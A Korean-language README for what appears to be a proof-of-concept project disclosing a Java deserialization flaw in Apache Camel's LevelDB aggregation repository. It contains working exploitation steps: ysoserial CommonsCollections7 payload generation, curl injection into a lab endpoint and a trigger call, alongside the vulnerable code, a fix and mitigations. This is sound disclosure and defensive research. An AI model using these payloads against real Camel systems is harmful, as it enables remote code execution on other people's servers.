
CVE-2026-25747 - Camel LevelDB 역직렬화 취약점
이 프로젝트는 Apache Camel의 LevelDB 집계 저장소(Aggregation Repository)에 존재하는 Java 역직렬화 취약점을 시연합니다. 이는 CVE-2024-23114 (Cassandra 집계 저장소에 영향을 주었던 취약점)와 유사합니다.
| 속성 | 값 |
|---|---|
| 구성 요소 | camel-leveldb |
| 영향받는 클래스 | DefaultLevelDBSerializer.java |
| 취약한 메서드 | deserializeKey(), deserializeExchange() |
| CWE | CWE-502: 신뢰할 수 없는 데이터의 역직렬화 |
| 영향 | 원격 코드 실행 (RCE) |
| 영향받는 버전 | 테스트 시점 기준 4.17.0을 포함한 모든 버전 (미패치) |
DefaultLevelDBSerializer 클래스는 필터링 없이 원시 ObjectInputStream을 사용합니다:
// DefaultLevelDBSerializer.java lines 42-47
public String deserializeKey(byte[] buffer) throws IOException {
try (final ObjectInputStream ois = new ObjectInputStream(new ByteArrayInputStream(buffer))) {
return (String) ois.readObject(); // NO FILTERING!
}
}
// Lines 63-71
public Exchange deserializeExchange(CamelContext camelContext, byte[] buffer) throws IOException {
return deserializeExchange(camelContext, buffer, b -> {
try (final ObjectInputStream ois = new ObjectInputStream(new ByteArrayInputStream(buffer))) {
return (DefaultExchangeHolder) ois.readObject(); // NO FILTERING!
}
});
}
이를 패치된 Cassandra 구현체(Camel 4.4.0 이후)와 비교해 보세요:
// CassandraCamelCodec.java - PROTECTED
private Object deserialize(CamelContext camelContext, InputStream bytes, String deserializationFilter) {
ObjectInputStream objectIn = new ClassLoadingAwareObjectInputStream(classLoader, bytes);
objectIn.setObjectInputFilter(ObjectInputFilter.Config.createFilter(deserializationFilter));
// Filter: "java.**;org.apache.camel.**;!*" - blocks gadget classes
return objectIn.readObject();
}
cd potential-leveldb
mvn clean package -DskipTests
mvn spring-boot:run
먼저 LevelDB 데이터베이스를 초기화합니다 (디렉터리를 생성하고 테스트 항목을 추가합니다).
예상 출력:
LevelDB initialized successfully!
Database path: /tmp/leveldb-exploit/aggregation.db
Repository name: myrepo
Added test exchange with key: test-key
Now you can inject a malicious payload with POST /exploit/inject
ysoserial을 다운로드하고 페이로드를 생성합니다:
# Download ysoserial
wget https://github.com/frohoff/ysoserial/releases/download/v0.0.6/ysoserial-all.jar
# Generate payload that executes a command (e.g., open calculator, touch file, etc.)
# For Linux:
java -jar ysoserial-all.jar CommonsCollections7 "touch /tmp/pwned" | xxd -p | tr -d '\n' > payload.txt
# For macOS:
java -jar ysoserial-all.jar CommonsCollections7 "open -a Calculator" | xxd -p | tr -d '\n' > payload.txt
# For Windows:
java -jar ysoserial-all.jar CommonsCollections7 "calc.exe" | xxd -p | tr -d '\n' > payload.txt
# Inject the malicious serialized object into LevelDB
curl -X POST http://localhost:8080/exploit/inject \
-H "Content-Type: text/plain" \
-d @payload.txt
예상 출력:
Malicious payload injected into LevelDB!
Payload size: XXXX bytes
Key: myrepo^@malicious-key
The payload will be deserialized when:
1. The application restarts and recovers aggregations
2. A get() operation is performed on this key
3. The scan/recover mechanism runs
# Trigger the vulnerability by reading from LevelDB
curl http://localhost:8080/exploit/trigger
이렇게 하면 모든 키를 순회하며 repo.get()을 호출하여 역직렬화를 트리거합니다!
# Check if the command was executed
ls -la /tmp/pwned
/tmp/pwned 파일이 존재하면 익스플로잇이 성공한 것입니다!
이 취약점은 여러 경로를 통해 트리거될 수 있습니다:
get() 호출은 역직렬화를 트리거합니다.성공적인 익스플로잇을 위한 조건:
LevelDB에 대한 쓰기 권한: 공격자는 LevelDB 데이터베이스 파일에 쓸 수 있어야 합니다.
클래스패스의 가젯 라이브러리: 악용 가능한 가젯 체인을 가진 라이브러리가 있어야 합니다.
commons-collections:3.2.1 (CommonsCollections1-7 가젯)org.springframework:spring-core (Spring 가젯)Cassandra에 적용된 것과 동일한 수정 사항을 적용합니다:
ObjectInputStream 대신 ClassLoadingAwareObjectInputStream을 사용합니다.ObjectInputFilter를 추가합니다."java.**;org.apache.camel.**;!*"DefaultLevelDBSerializer.java에 대한 수정 예시:
private String deserializationFilter = "java.**;org.apache.camel.**;!*";
public Exchange deserializeExchange(CamelContext camelContext, byte[] buffer) throws IOException {
ClassLoader classLoader = camelContext.getApplicationContextClassLoader();
try (ObjectInputStream ois = new ClassLoadingAwareObjectInputStream(classLoader,
new ByteArrayInputStream(buffer))) {
ois.setObjectInputFilter(ObjectInputFilter.Config.createFilter(deserializationFilter));
DefaultExchangeHolder holder = (DefaultExchangeHolder) ois.readObject();
// ... rest of deserialization
}
}
수정 버전이 릴리스될 때까지:
DefaultLevelDBSerializer 대신 JacksonLevelDBSerializer를 구성합니다.potential-leveldb/
├── pom.xml # Maven configuration with vulnerable deps
├── README.md # This file
└── src/main/java/com/example/
├── Application.java # Spring Boot entry point
├── LevelDBRoute.java # Camel route using LevelDB aggregation
├── StringAggregationStrategy.java
└── ExploitController.java # REST endpoints for exploitation
이 재현 도구는 보안 연구 및 승인된 테스트 용도로만 제공됩니다. 명시적 허가 없이 시스템에 사용하지 마십시오.
| 항목 | Cassandra (CVE-2024-23114) | LevelDB (이 이슈) |
|---|
| 상태 | 4.4.0에서 패치됨 | 4.17.0에서 미패치 |
| ObjectInputStream | ClassLoadingAwareObjectInputStream 사용 | 원시 ObjectInputStream 사용 |
| 역직렬화 필터 | "java.**;org.apache.camel.**;!*" | 없음 |
| JIRA | CAMEL-20306 | 아직 등록되지 않음 |